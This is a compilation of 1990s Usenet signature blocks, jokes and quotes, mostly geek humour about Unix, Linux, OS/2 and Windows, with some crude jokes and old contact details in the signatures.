* OFFLINE 1.58 * "There MUST be a God. What else explains leather minis?" * POW 1.2 0061 * Windows IS NOT a virus...viruses do something. Lord grant me the serenity to accept the things I can not change, the courage to change the things that I can, and the wisdom to hide the bodies of those people I had to kill because they pissed me off. :q :q! :wq :w :w! :wq! :quit :quit! :help help helpquit quit quithelp :quitplease :quitnow :leave :shit ^X^C ^C ^D ^Z ^Q QUITDAMMIT ^[:wq G(CS,M);d@;p;c++;l++;u++;e+;m++(---);s+/+;n-;h*;f+(--);!g;w+(-);t-;r+(-);y+(**) Noahal Mundt - System Administration - Harris Controls Division ----------------------------------------------------------------------------- | "A good magician never reveals his secret; the unbelievable trick becomes | | simple and obvious once it is explained. So too with UNIX." | ----------------------------------------------------------------------------- | INTERNET: nam@ccd.harris.com - Phone: (407) 242-5459 fax (407)242-4453 | ----------------------------------------------------------------------------- -- 43rd Law of Computing: | Jason Lavoie | jason@mint.net Anything that can go wr | io20727@maine.maine.edu .signature: Segmentation violation -- Core dumped | Matthew Crosby crosby@cs.colorado.edu Disclaimer: It was another country, and besides, the wench is dead. ------------------------------+---------------------------------------+ Stan Young | Serendipity is looking in a haystack | syoung@pecanpi.atl.ga.us | for a needle and discovering the | | farmer's daughter. - Julias H. Comroe| ------------------------------+---------------------------------------+ i-DX2-66 : 12Mb Ram : 946Mb HD: Soundblaster 16 : Creative CD-ROM .....sporting a rather tasteful unix-thingie..... "If architects built as programmers code, the first woodpecker to come along would destroy civilization." -- anon Peter M Wright VE7IPW Amateur Radio | Work is for those that peterw@unixg.ubc.ca | don't get paid for their pwright@imr.lan.nrc.ca | hobbies - some guy I don't and a couple of others I can't remember| know _/_ Scott Alfter @ 1:209/263 (Fidonet) You too can escape the / v \ scott.alfter@skunkworks.genesplicer.org "Gates" of hell--use Linux! (IIGS( GAT 2.1 -d+ H- s !g p0 au a- w+ v C++ UL++++ P? L++ 3 E N+ K- W--- \_^_/ M(-) Vpo+ Y t+(++) 5+(++) !j R- G? tv b+ D B--- e+ u+ h+ f r? !n y? Javier Henderson | My words, not TWG's. javier@twg.com | You know you landed gear up when it takes full power to taxi Daniel Kosack -= Proud user of Linux =- DOS == Dead On System UNIX == Ultimate Necessity, Intelligent eXecution Danny -- dth@cistron.nl | I don't care who you are, you are not Danny ter Haar | walking on the water while I'm fishing Christopher Browne - Email:, WWW: Q: How do you make Windows go faster??? A: THROW IT HARDER!!! -- | The floggings will continue | Bob Russell | | until morale improves. | | | | http://www.crl.com/~bobruss/ | | The Management. | San Rafael Marin CA USA | __________________________________________________________________________ John L. Sielke N4JS n4js@n4js.ampr.org jsielke@algorithms.com FAX:(609)-794-1194 "Using OS/2..doing my part to stop Gates' takeover of the I'net!" -------------------------------------------------------------------------- ... Evolution: God's way of issuing updates ____ david parsons \bi/ It's good to see that FreeBSD has drooling idiots \/ supporting it too. Mark Duguid Certified Linux Geek Saskatoon, Saskatchewan, Canada aa276@sfn.saskatoon.sk.ca Web -> http://www.sfn.saskatoon.sk.ca/~aa276 "To turn any 486/586 into a 8088,..just add Dos and let freeze over Windows. "MS-Windows and Win95 are the only viruses with a GUI." nuf bashin for today ----------All Opinions Expressed are MINE, not IBM's-------------- Michael Rogero Brown (uKR1 System Administrator) IBM (uKR1 Development) TEL/TIE (407) 443-6400 Boca Raton, FL Internet: mikal@bocaraton.ibm.com If you think I speak for IBM, then I've got some swamp land^H^H^H^H^H^H^H^H^H real estate here in Florida to sell you. Look, I'm about to buy me a double barrled sawed off shotgun and show Linus what I think about backspace and delete not working. ******** W A R N I N G ! ************************************** Linux should not be used by those under the influence of MicroSoft. May cause dizziness or vertigo. Consult your tech support before using Linux. (note--after using Linux, you may notice extreme discomfort when using MicroSoft. Discontinue use of MicroSoft.) ************************************** W A R N I N G ! ******** http://scitsc.wlv.ac.uk/~cs6171/hack/index.html if (have(clue) || get(clue)) { netnews << idea; } else { devnull << idea; do { netnews >> article; digest(article); } while (!get(clue)); } -- =-----------------------------------------------------------------------------= = "Computers are not smart, they just do stupid things real fast" = = Computer Science Major. Ball State University, Muncie IN. = = Email: fagarcia@bsu-cs.bsu.edu 00FAGARCIA@BSUVC.BSU.EDU = If your nose runs and your feet smell, you're built umop-apisdn. __________________________________________________________________________ "Do you think if we talk about my name enough || Annoying Joel Furr is not I can get into the FAQ?" -- Maddie Boudreaux || a hobby, it's a duty! -------------------------------------------------------------------------- -- Keith Thompson (The_Other_Keith) kst@thomsoft.com (kst@alsys.com still works) TeleSoft^H^H^H^H^H^H^H^H Alsys^H^H^H^H^H Thomson Software Products 10251 Vista Sorrento Parkway, Suite 300, San Diego, CA, USA, 92121-2718 Because I'm weird enough, and I'm sick enough, and doggone it, people fear me! | make it so | Make: don't know how to make it. | Stop. I agree that Windoze is one of the worst OSes ever in common use. And one has to marvel at how Bill Gates managed to sell it. Huge. ------------------------------------------------------------- Hugh J.E. Davies, Computer Consultant, Bedfordshire, England. "The road to Paradise is through Intercourse." >Isn't it odd that Macintosh users are more loyal to Apple than Apple is to >Macintosh users? -- Rhode's Law: When any principle, law, tenet, probability, happening, circumstance, or result can in no way be directly, indirectly, empirically, or circuitously proven, derived, implied, inferred, induced, deducted, estimated, or scientifically guessed, it will always for the purpose of convenience, expediency, political advantage, material gain, or personal comfort, or any combination of the above, or none of the above, be unilaterally and unequivocally assumed, proclaimed, and adhered to as absolute truth to be undeniably, universally, immutably, and infinitely so, until such time as it becomes advantageous to assume otherwise, maybe. Sean Ennis some defects. It's just like the joke about Microsoft engineers that goes: How many of them does it take to screw in a light bulb? They don't bother with that. They just declare darkness a standard. -- John Seeliger Nutritional Information jes7123@omega.uta.edu Cholesterol..90 Sodium..5 Copper.........3 jes7123@utarlg.uta.edu Fiber .......12 Iron....1 Calcium........7 seeliger@utahep.uta.edu Fat.........200 Zinc....4 Einstienium..<10^-14 -- Email: | ...!uunet!ceilidh!dnichols Donald Nichols (DoN.) | Voice (Days): (703) 704-2280 (Eves): (703) 938-4564 --- Black Holes are where God is dividing by zero --- -- Pete Ehlke | "Programming languages allow a programmer to write programs pde@io.com | using easy-to-learn words and symbols rather than actual | machine code. This eases the burden of program coding." | - The IBM AS/400 on-line tutorial >Using MS Word for a normal, simple document is a bit like killing >mosquitoes with a laser cannon. A laser cannon with broken and warped lenses, a dozen bad connections, vital circuitry in the path of the laser, and a tendency to overheat. This laser cannon only runs on AAA batteries, of which you need four thousand. There is a 50% chance that if this laser cannon fires successfully, it will be in the direction of the operator. 19. When you have secured a patrol box, don't forget to tell the enemy. - MURPHY'S LAWS OF MARITIME COMBAT You guys *gotta* be kidding. You think this pathetic memo is the longest thread ever? You obviously haven't seen the AOLers at alt.config trying to get a copy of the 100 top sites for dirty pix. __ Yet another Yet another Yet another Yet another Yet another lame (TM) lame (TM) lame (TM) lame (TM) lame (TM) l 3D .sig! 3D .sig! 3D .sig! 3D .sig! 3D .sig! 3D .sig -This .sig and the post preceding it brought to you by jpatters@mole.uvm.edu- -- James Eric Williamson - erwill@ix.netcom.com - erwill@heartland.bradley.edu aka Dr Huh (of Peoria techno ensemble JBC) - begin obligatory fanboy reference statement procedure: OS/2 happy happy joy joy; THRAK: "the sound of 117 guitars hitting almost the same chord" - Robert Fripp; "He's back, and it's about time..." Doctor Who - this November on FOX; - end obligatory fanboy reference statement .. ---------------------------------------------------------------------- Ben Newsam Micro Services -- ben@microser.demon.co.uk Tel & Fax: -- +44 (114) 233 2071 Tel: -- +44 (114) 285 2727 "I'm not known for blowing my own trumpet." --- Hugh Grant ---------------------------------------------------------------------- The smallest uninteresting natural number is *not* thereby interesting; ...but it *is* very meta-interesting ! ----------------------------------------------------------------------------- Bill Taylor wft@math.canterbury.ac.nz ----------------------------------------------------------------------------- Some say the pope is the greatest cardinal. But others insist this cannot be so, as every pope has a successor. ----------------------------------------------------------------------------- -- Brian Eirik Coe * "God himself couldn't sink this ship!" Optometrist-in-Training * --White Star Line employee at launch of Titanic "Are you pondering what I'm pondering?" -The Brain, Animaniacs "It's difficult to work in a group when you're omnipotent." -Q, ST:TNG -- Simon Slavin - Computing Manager for The Enterprise Group Ltd. (Says my boss.) "Is all that we see or seem but a dream within a dream ?" E. A. Poe $_='\=*Sxw!jds@j$.jl.dt#Rw%^dcn"K1x(=Bl1nwl!\*1enab^h"F=!J$h%fhcq', tr&J-ZA-Ij-za-i&A-Za-z&&s&\(&logic&&&s&\*&un&g&s&=&al&g&s&\^&it&g&& s&%&st&g&&s&\$&ber&g&s&\#&\n&&s&"& of&g,s&([A-Z])& $1&g&&s&\\u&U&&& s&!&es, &g&s&\\a&A&&s&1&i&g&&print" $_\n";sub liminal{"use perl!";} > Point out one person who says "I want to screw up today". Just one. There's loads of 'em; they just use slightly different wording: "I'd like a copy of M$ Windoze today". Illinois isn't exactly the land that God forgot -- it's more like the land He's trying to ignore. %% When i used to consult part time, I used a variable rate structure. 1. If you can't understand why I charge this much, and try to do it yourself rather than hiring someone who knows what they are doing and screw it up beyond all recovery and expect me to perform a miracle...and then bitch about the costs even though both of us know you wouldn't have a prayer of doing it yourself. Hourly rate $500. 2. If your charge an arm and a leg for YOUR services but try to cheap out on what you pay another professional: Hourly rate, $500 plus 20% cheapskate surcharge. 3. If all the while I am bailing your silly ass out, you stick around whining about how much it is costing you: Hourly rate, $500 plus 20% cheapskate surcharge, plus 150% butthead surcharge. %% -- James A. Carr | "My pet light bulb is a year old http://www.scri.fsu.edu/~jac | today. That is 5.9 trillion miles Supercomputer Computations Res. Inst. | in light years. Your mileage may Florida State, Tallahassee FL 32306 | vary." -- Heywood Banks : Is there a hyphen in "anal-retentive" ? No, there's a colon. Koos van den Hout - - - - - - Internetter, BBS sysop and Unix freak at large "Captain, whilst you make an excellent Starship Commander, your abilities as a taxi driver leave much to be desired." - Spock - A Piece of the Action ----------------------------------------------------------------------------- Standardization has this industry in a death grip! (Yeah, I wish.) Why aren't there Sun or PC or Mac hackers with the audacity of those brave pioneers? Even the Amiga freaks, the pinnacles of nerdly intensity, aren't busy rewriting their system software. -- Jim Allenspach \\\ S S E S S N N T Y O I I E T M jima@streams.com /// E L C S A C T A O I T X N T E Streams Online Media Development \\\ X I H I N I A N U T H T L L N Chicago, IL /// I K E T A E R D D W S E I E . Bob Benson bob_benson@qmail.ssc.gov Virtual Reality is like Light Beer - What's the point? -- frogfarm@yakko.cs.wmich.edu | "From now on, you'll stand out in life as an Damaged Justice | individual." "Will I?" "Well, of course you Will yodel for food | will...all the other slaves will be black." Freedom...yeah, right. | - Black Adder -- Daniel Taylor danielt@digibd.com dante@solon.com (My employer doesn't even know my opinions, let alone share them) We are Bill of Microsoft, you will be assimilated, really, honest, as soon as we can arrange the release date.... %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% "Smile," the man said. "It could be worse". So I did, and it was ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "Oh my God - It's full of cars!" (Bowman in LA) -- Rick DeBay - CSC contractor @ IBM * "Life is like a box of chocolates. I do not speak for IBM or CSC * It's overpriced, and most of the rdebay@vnet.ibm.com * stuff in it sucks." - ObGumpism -- On the Internet, everyone Kristen Kelleher suspects you're a dog. kelleher@cs.nps.navy.mil Alan P. "Of COURSE I want to post this. It's fully justified" Scott (ascot@agora.rdrop.com) "Women, it seems, tend to live with their dementia rather than to die from it." --Thomas T. Perls, "The Oldest Old", _Scientific American_, January 1995, quoted WAY out of context -- oh1jhx@mea.utu.fi II System administration and user support Pascal, ASM, HTML II "I don't believe in shell after death" I am pentium of Borg. Division is irrelevant. Mathematics is irrelevant. You will be approximated. | Vladimir Tupitsin tvg@cnit.nsk.su or tvg@ccphys.nsu.nsk.su | |-----------------------------------------------------------------| | Now sysadmin of a non-existent machine | |-----------------------------------------------------------------| | Ich glaube, die Wellen verschlingen | | Am Ende Gates und Kahn... | %% In fact I didn't post them. However, if other people are desparate to know why 23 is interesting, here's the list again.... (Taken from the Penguin Book of Curious and Interesting Numbers, David Wells, 1986, 0-14-008029-5) 23 & 29 are the first pair of consecutive primes differing by 6. 23 is one of only two integers that needs 9 +ve cubes to represent it (the other is 239). 23 is the 4th prime the period of whose reciprocal is of maximum length. 23 is the smallest number of rigid rods of unit length needed to brace a square. 23 is the largest integer that is not the sum of distinct powers. 23! is 23 digits long in base 10. If there are at least 23 people in a room the the probability that two or more people share the same birthday is >50%. %% -- Nomad of Norad (David C. Hall) | "I am No-mad. I am per-fect. tlvx!wopr!nomad@sinkhole.unf.edu | >Click!< per-fect. tlvx!nomad@sinkhole.unf.edu | >Click!< per-fect." -- * Michael Buchenrieder * mibu@scrum.muc.de / mibu@scrum.greenie.muc.de * ************************************************************************** * Our continuing mission: To seek out knowledge of C, to explore strange * * UNIX commands and to boldly code where no one has manpage 4... * ------------------------------------------------------------------- James LewisMoss | University of South Carolina | Blessed Be! moss@cs.sc.edu | | Linux is cool! ------------------------------------------------------------------- "Argue for your limitations and sure enough, they're yours." Bach _,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,__,.-=~'`^ -- ========================================================================= Trent Lipscomb home: (503) 302-2607 1943 Onyx, Apt #2 work: give me one please Eugene, OR 97403 http://gladstone.uoregon.edu/~trenton/ -=-=-=-=-=-=-=-=-=-=-=- "Phone sex is best approximated by stacking several dollar bills on your bedside table, setting the pile on fire and watching it burn while you masturbate." ---Robert Rossney, Wired Magazine -- Dan Miner dminer@nyx.cs.du.edu "The longer I stare at this screen; the blanker it gets." Linux: try it, you'll like. "Your program is encoded in pi." I started with a 64 -- -Matthew S Crocker "The mask, given time, comes matthew@crocker.com to be the face itself." -anonymous *OS/2*OS/2*OS/2*OS/2*OS/2*OS/2*OS/2*OS/2*OS/2*OS/2*OS/2*OS/2*OS/2*OS/2*OS/2* *linux*linux*linux*linux*linux*linux*linux*linux*linux*linux*linux*linux* I really don't think it's practical to implement a real Unix like system without memory management. An operating system that doesn't protect user processes from each other is a joke (read: MS-DOS is a joke). An operating system that doesn't protect system resources from user processes is a bad joke (read: MS-DOS is a bad joke). Implementing the fork call without memory management is not impossible, I think, but it is not quite practical, IMO. --- L. Adrian Griffis adrian@southwind.net KE6CSX Modesty is NOT a virtue; It's simply an easier vice to endure than conceit. ---------------------------------------------------------------------------- Tim "Strikemaster" Bowser, | RTFM: It's not just an acronym, it's the law | BUD owner, SVHS/Hi-8 user, |----------------------------------------------- will mid-air refuel for food | strike@steam.wichita.ks.us | 21-yr USAF vet | ------------------------------------------------------------- herp@wildsau.idv.uni-linz.ac.at | Fighting for peace is like Rosmanith@Edvz.uni-linz.ac.at | fucking for virginity #!/usr/local/bin/perl -s-- -export-a-crypto-system-sig -RSA-in-3-lines-PERL ($k,$n)=@ARGV;$m=unpack(H.$w,$m."\0"x$w),$_=`echo "16do$w 2+4Oi0$d*-^1[d2% Sa2/d0 IS Specialist (ET) | // Notions expressed are unlikely to be my employers Unisys NZ Ltd | | "If in the last few years you havent discarded a major tzeweng@unisys.co.nz | opinion or acquired a new one, check your pulse. | You may be dead." [Gelett Burgess] Gunnar Horrigmo A poster is a human being or software equivalent. Craig (craig@ic.net, http://ic.net/~craig) If a system crashes and no users are logged on, does the system make a sound? Hagbard@LambdaMOO % I mean, it's the 90's. You can't just go Ron@JaysHouseMOO % around trusting every layer you interface Ron@MediaMOO % with. - tommyd@microsoft.com My home page +---------------------------+-----------------+-----------+ | Mechanical Engineering | P90/Wide SCSI II| Open | | Senior |24M Ram/1.5GB HD |Windoze let| | D-Seaman@ukans.edu | 4mm 8GB SCSI DAT| bugs in. | | Finger Lark for PGP key |17" Nanao F2-17EX|DOS/Win/OS2| | PGP mail *encouraged* | HP LaserJet 5MP | *LINUX* | +---------------------------+-----------------+-----------+ garbage +--------------+ science -->| "research" |--> in +--------------+ out -- ,---------------------------------------. Brad A. Killebrew N5LJV | Student of Computer Engr Technology | E-Mail : n5ljv@uh.edu | University of Houston, Texas | E-Mail : n5ljv@amsat.org | http://www.tech.uh.edu/ |--. E-Mail : n5ljv@phoenix.net `---------------------------------------' | AMPRnet: n5ljv@n5ljv.ampr.org | Without C, we would only have | Packet : n5ljv@f6cnb.#setx.tx.usa.na | BASI, OBOL, and PASAL. | WebNet : http://wb5fnd.tech.uh.edu/~brad `-------------------------------' Steve Martin http://net.indra.com/~smartin * User Error! Replace User and strike any key... Andrew Lister Phone: +61 2 258 1757 DB Bain Group Services Fax: +61 2 258 1000 lister@bain.oz.au The opinions expressed are mine. The company doesn't listen to me anyway. ----------------------------------------------------------------------------- *** These are my opinions... Mine! All Mine! Minemineminemineminemine!*** ----------------------------------------------------------------------------- ************************************************* ** Glenn Wasserman ** United Parcel Service ** ** Come on people, I can barely speak for my- ** ** self let alone the company I work for. ** ************************************************* Stephen Cass stcass@maths.tcd.ie sacass@unix1.tcd.ie TRINITY COLLEGE DUBLIN, IRELAND. Public key available on request. "I'm not stupid, I'm not expendable and I'm *not* going down to the planet." - Avon, Blakes 7 http://alf2.tcd.ie /~dupubs/steve.html "I've been reading those C++ books and my horror grows with each page." --Chris Reuter #!/usr/local/bin/dwim | "Why do we have to hide from the police, Daddy?" # Dave Fischer dave@cca.org | "Because we use vi, son. They use emacs." --------------------------------------------------------------------------- shendrix@escape.widomaker.com | Linux 1.2.8 / BSD 2.0 / Anything fun http://www.widomaker.com/~shendrix | <<<< UNDER CONSTRUCTION >>> >Yes, I do. But there was a *demand* for the Cabbage Patch Kids. >How can Windows 95 be the most popular if no one wants it??? But *everyone* wants it! Chairman Bill told them so. :-/ Charlie_Gibbs@mindlink.bc.ca "IBM is not a necessary evil. IBM is not necessary." -- Ted Nelson This is perhaps my biggest complaint against Unix. When you've seen one Unix system, you've seen one Unix system. Craig DeForest "My research group launched a rocket into space, and all I got was this lousy T-shirt" The qotc (quote of the con) was Liz's: "My brain is paged out to my liver" %% A Harvard man and an MIT man enter the mens room together, and each stands at a urinal. After answering their respective calls of nature, the Harvard man washes his hands, but the MIT man just exits. The two catch up with each other a few moments later. The Harvard man says smugly, "At Harvard, we wash our hands after using the mens room." To which the other responds, "At MIT, we don't piss in our hands." %% =================================================================== jamie@cosc.canterbury.ac.nz Yes I know the from line is wrong. Jamie Anstice It's not my fault. Gummi Bears are brain food. This .sig breaks the four line limit : The advantages of vi are: : 1) Universally available. : 5) Customizable. n+1) It's not emacs. : The disadvantages of vi are: : 1) No menus. : 4) Does not have multiple edit buffers. n+1) It's not emacs. This, I think is the guts of the argument for and against vi. %% -- Al Castanoli | ah644@rgfn.epcc.edu | afcasta@texas.net "A computer lets you make more mistakes faster than any invention in human history--with the possible exceptions of handguns and tequila." - Mitch Ratcliffe, _Technology Review_, April, 1992 **************************************************************************** * Dann Lunsford * The only thing necessary for the triumph of evil* * dann@luns.sna.com * is that men of good will do nothing. -- Cicero * **************************************************************************** -- insom@ac.ucr.edu Windows -- the 3270 insom@math.ucr.edu of the 21st century --------------------------------------------------------------------------- The Egocentric model of the Universe: Since the earth is circling the sun on an orbit which is quite exactly right to keep me happy, this universe must have been constructed for myself. QED. --------------------------------------------------------------------------- Stewart Stremler | stremler@rohan.sdsu.edu | FidoNet: 1:202/1103 --------------------------------------------------------------------------- -- Lennart Benschop --- lennart@stack.urc.tue.nl "Real programmers do it in hacks." 52 65 61 6C 20 70 72 6F 67 72 61 6D 6D 65 72 73 20 64 6F 20 69 74 20 69 6E 20 68 61 63 6B 73 2E Forth/C/6809/Linux/ZX-Spectrum/Z80/80x86 Gregory D. Baker (gbaker@rp.csiro.au) CSIRO Radiophysics ______________________________________________________________________ PROBABLE (http://www.rp.csiro.au/~gbaker/probable/index.html) - Predictions of the future ... read some ; add some! Q-gol (http://www.rp.csiro.au/~gbaker/q-gol/index.html) - High-level access language for quantum computers ______________________________________________________________________ __ __ __ __ | |\ / /| | Roger Binns | `If you don't watch the violence, you will | | \/ / | | Software Engineer | never become desensitized to it' | | / /\ | | IXI Ltd | - Bart Simpson at the cinema |__|/__/__\|__| Cambridge, UK rogerb@x.co.uk as kind of a "easter egg". There are two kinds of programmers, thoses with houmor, and thoses without sanity. +-------------------------+----------------------+------------+ | "He's representative of |......................|''''''''''''| | his sickly breed." |Ed@Kildare.demon.co.uk| Jim Wraith | | -Ren and Stimpy |''''''''''''''''''''''|............| +-------------------------+----------------------+------------+ Charlie_Gibbs@mindlink.bc.ca I used to be indecisive, but now I'm not so sure. +-----------------------------------------------------------------------------+ | "Welcome to Jack In The Box. May I kill you? | +-----------------------------------------------------------------------------+ --- Rob Freundlich, Senior Software Engineer | "males are biologically driven IDX Systems Corporation | to go out and hunt giraffes" | - Newt Gingrich "Some folks you don't have to satirize, you just quote em" - Tom Paxton Mark D. Roth - roth@uiuc.edu | Wally: "You're mighty brave in http://www.uiuc.edu/ph/www/roth | cyberspace, Flame-Boy!" Chair, UIUC Linux Users' Group | Dilbert: "Step inside..." Eric Burch -- Loral Federal Systems -- Gaithersburg, MD eric@lfs.loral.com usual disclaimers apply imagine a " :-) " after each period above "Minun mielestni Bill Gates on nero." (Jenni Niemel) ---> http://www.jmp.fi/~jmarin <--- Subject : Re: B. Gates' email address (?) : >Try chief_cunt@micro$oft.con (or bgates@microsoft.com) : Wrong try again. According to "Email Addresses of the Rich & Famous" : it's billg@microsoft.com +------------------------------------------------------------------+--------+ |To SAFELY preview Windows-95 and OS/2 without leaving your Windows|"archie"| |try "WorkPlace Shell for Windows" Program Manager replacement. | 4 other| |Now at ftp://ftp.cica.indiana.edu/pub/pc/win3/uploads/wpsfw150.zip| sites | +------------------------------------------------------------------+--------+ |My tagline is my own and is not shared by my employers nor any other agency| | Jim Brumbaugh .<|>. Internet: bluemist@wolfe.net .<|>. Fido: 1:343/179| +================ Toto, I don't think we're in DOS any more ================+ http://web.kaleida.com/u/hopkins/unix-haters.html The BOB(c) -- _ _ _______ ______ ----------==============---------- ---==--- |____/ |_____| | ____ |Kingdom of the Alien Groundhog| |JOIN| | \_ | | |_____| |"We're here for your cacti." | | US | ----------==============---------- ---==--- +================ Toto, I don't think we're in DOS any more ================+ >The page starts with the encouraging words "unix sucks" and gets better >from there. Read it and laugh. The Unix-Haters Handbook is as comical >as Unix itself. You know, if these guys had any guts, they would have written a "Windows Haters Handbook". It could probably be made ten times thicker, too. Rob Freundlich, Senior Software Engineer | "males are biologically driven IDX Systems Corporation | to go out and hunt giraffes" | - Newt Gingrich David Hanishewski "The Internet is how grownups pass notes in class" "Through the server, over the router, off the firewall...Nothing but 'Net" %% I just got a floppy in the mail today -- AOL offering me 10 free hours. (However, I'm tempted to call them up and have some fun playing stupid): Me: It won't work! AOL: What won't work? Me: The program you sent to me. AOL: Did you put it in your A: drive or your B: drive? Me: I only have one drive -- I put it in there. AOL: Then did you click on the File Manager icon: Me: I don't have one. AOL: Don't you have windows? Me: I have windows -- I'm typing in one as we talk. (X11R6 :-) AOL: What happens when you type "DIR A:" Me: I get a message. AOL: What is the message? Me: dir: a:: No such file or directory AOL: Do you need a Mac diskette? Me: I don't think that will do much good. ... AOL: Do you *have* a modem? Me: I've got three connected at the moment -- A Telebit WorldBlazer ... ... AOL: What *do* you have? Me: A Solbourne S4000DX (a clone of a SPARCStation 2) AOL: "Click ..... Hmmmmmmm" However, in reality, I'd probably only get a woman who was prepared to send me a Mac diskette in place of the MS-Windows one. %% Till later wrong side H right side Hank Ellis of tracks H of tracks hankellis@aol.com -------------> H <--------------- PGP key available H Don Congdon | Those who scorn computer history Consultant | are those who really don't grasp Congdon ComputerTECH Services | what is happening today and will dcongdon@delphi.com | never really shape tomorrow. -- Kenneth R. Crudup, Unix & OS/2 Software Consultant, Scott County Consulting kenny@panix.com CI$: 75032,3044 +1 617 524 5929/4949 Home/Office 16 Plainfield St, Boston, MA 02130-3633 +1 617 983 9410 Fax OS/2 box: pkenny.tiac.net (when I'm online) Get Warp-ed! OS/2 3.0 is here NOW! Bernie "I use twm from time to time, too, when fvwm screws up" Meyer Al Castanoli | ah644@rgfn.epcc.edu | afcasta@texas.net "A computer lets you make more mistakes faster than any invention in human history--with the possible exceptions of handguns and tequila." - Mitch Ratcliffe, _Technology Review_, April, 1992 I also recall TECO T-shirts at DEC symposia that had the following legend: T-hrow E-DI C-ompletely O-ut Eric Burch -- Loral Federal Systems -- Gaithersburg, MD eric@lfs.loral.com usual disclaimers apply imagine a " :-) " after each period above %% My name is Richard, and I have a confession to make: I read, understand, and sometimes actually enjoy Microsoft documentation. (cries and gasps from the group) I try to avoid documentation as much as possible because so much of it is either obtuse or not pertinent to life on our planet, but every now and then, I'll sit myself down with a MS manual and browse - Word, VB, Access, Excel. It just flows through me - as though it were actually a reasonable way to receive and retain information. Other manuals ... please! It's like archaeology before the discovery of the rosetta stone. Everything translates into, "What are you looking here for? Just try pushing a button or something and leave me alone." OR "Importing graphics requires that you first have some basic knowledge of ancient farming implements in Bronze Age Mesapotamia. Also required will be decimal places 2454-87843 in the latest MIT calculation of PI." I know - reading a manual - any manual - as though it were the Monkey Ward Christmas catalog - is considered grounds for institutionalization in at least 35 states, including Guam and the Virgin Islands. I'm seeing a specialist. Unfortunately, he won't talk to me. He just listens, then hands me a book and tells me I can get better, but I have to really want to, and I have to look it up in the manual. Richard %% When I worked for Daisy Systems (circa 1986) there was a marvellous cartoon we had posted that showed the delivery of a DNIX workstation. Several very, very large crates and a small box beside them. One person explaining to another "No, THAT'S the workstation, THOSE are the manuals!". How to tell you are an old fart: You remember when the documentation was a looseleaf binder that you could tuck under your arm, and it took a forklift to move the computer. %% Steven.Mading@mixcom.com - In order to prevent programmers from being able to make mistakes one would need to prevent programmers from being able to make programs. Hence if your goal is to avoid programming errors then there's no point in drafting up constricting rules and regulations. Just delete the compiler from the system. It is a much faster and more complete means toward the same ends. %% dkomo@cris.com "Yes, but what is your POINT?" "Point? There is no point -- this is Unix after all." What? Somebody has said Bill isn't God? Oh dear. Mr Bill won't be happy and it'll be another reign of Microsoft Plague (TM), followed by Microsoft Flood (tm) , without the use of Microsoft Ark (tm) this time. Excellent day for drinking heavily. Spike office water cooler. ---------------------------------------------------------------------------- The best things in life are free. | Stewart Stremler There is no such thing as a free lunch. | stremler@rohan.sdsu.edu ===> Lunch is not one of the best things in life. | FidoNet: 1:202/1103 ---------------------------------------------------------------------------- ****************************************************************************** If all else fails, immortality can always be assured * stern@empowerment.com by spectacular error. -- John Kenneth Galbraith * stern@panix.com ****************************************************************************** Darin Johnson djohnson@ucsd.edu - I'm not a well adjusted person, but I play one on the net. Daniel Taylor danielt@digibd.com dante@solon.com (My employer doesn't even know my opinions, let alone share them) We are Bill of Microsoft, you will be assimilated, really, honest, as soon as we can arrange the release date.... > This weekend a customer came in and was wondering how he >went about connecting his PC to the Intercom so he could get Email and >stuff..hmmmmmmm..... Another one wanted a Computer, but he had 4 kids, >could only afford one PC. He was looking into the possibility of getting >a mainframe......what next? Overheard this one last weekend at the local eletcronics giganto-store: Customer: 'Scuse me, sir. Can you help me? Sales droid: Sure. What do you need? Customer: Which is better to put in your computer- a hard drive or a tape drive? Droid: [I didn't stick around to hear the answer. The temptation to interrupt and tell the guy that tape drives are better at sequential file access, and since Windoze swap files are sequential, he'd be best to buy the tape drive was too much to bear...] Tom Salyers "Now is the Windows of our disk contents IRCnick: Aqualung made glorious SimEarth by this Sun of Zork." Denver, CO ---Richard v3.0 Mike Jacobs | Disclaimer: I don't speak for GAC, but they really mikej@gacorp.com | ought to listen to what I say. General Analytics Corp. |------------------------------------------------------ McLean, VA | Sometimes Dilbert is so true, it's scary. - me Michael Brown (mjb@dcs.warwick.ac.uk) C++ and Lemming consultant. (csulo@csv.warwick.ac.uk) the Windows API has done more to retard skill development than anything since COBOL maintenance. --Larry O'Brien Producing an infinite size book would presumably require infinite matter and time, which might not be available. --- K. Blackmon DISCLAIMER: Opinions expressed here are not necessarily congruent with reality. -- O____________.------------------------,__________________________________. #Sam Santala | / ._. \ "It came from | What I call Energy Conservation > #Psychology | :={ @ }=: behind..." | everyone else calls a burned out > #Boston U. | \ '~' / -Red 2- | light blub, go figure. > #____________|------------------------|__________________________________> # "I claim this post in the name of the Empire." # ~~~~~ //flw.bu.edu/santala/ Lane A. Highbarger | Budweiser: The choice of amphibians ... 301-585-9029 (H) | 410-706-3946 (W) | _________________________________ lhighbar@umabnet.ab.umd.edu | Under construction l.highbarger@GEnie.com | This space for rent... %% >> Real men use troff. >Joe will never die! I'm quite happy to hear you say that... -- Joe Sloan jjs@engr.ucr.edu http://dostoevsky.ucr.edu Win95? No, none for me, thanks - I'm already running Linux... Microsoft is not the answer - Microsoft is the question; the answer is NO! %% >> Q: What is the last thing to go through the mind of a bug smashing into >> your windshield? >> A: It's ass. scl> Surely you mean its arse. It's hard to imagine a donkey-owning mosquito. No, I meant it's donkey. The last thing flashing through the mind of a doomed mosquito as it impacts on the windshield of a car is its poor pet donkey back home in the barn, and how it's going to survive without him bringing home the bread every day, with the new baby coming and all - you know. There's a lot on the mind of a working bug. By the way, I was showing my hairy ass to these guys the other days, and they all thought it was very cute. One of them even wanted to try it right there and then, but I said "no, I only let my girlfriend touch it." She likes to kiss and cuddle it even though she sometimes also spanks it when it doesn't move the way she likes it. I took it to a checkup at the local vet the other day, and among other things he shoved a thermometer up my poor ass until I couldn't stand it any longer and had to tell him not to go any further. Call me pathetic, but I just couldn't stand the humiliation. Yes, an ass is a nice thing (esp. for sitting on). Who can live without one? Mike. -- Michael Marsden "It's the car, right ? Chicks dig the car" ORACLE Database Consultant -- BATMAN Forever -- mmarsden@netcom.com, mmarsden@ozemail.com.au Disclaimer: I own the company so I can say what I like ! %% Koos 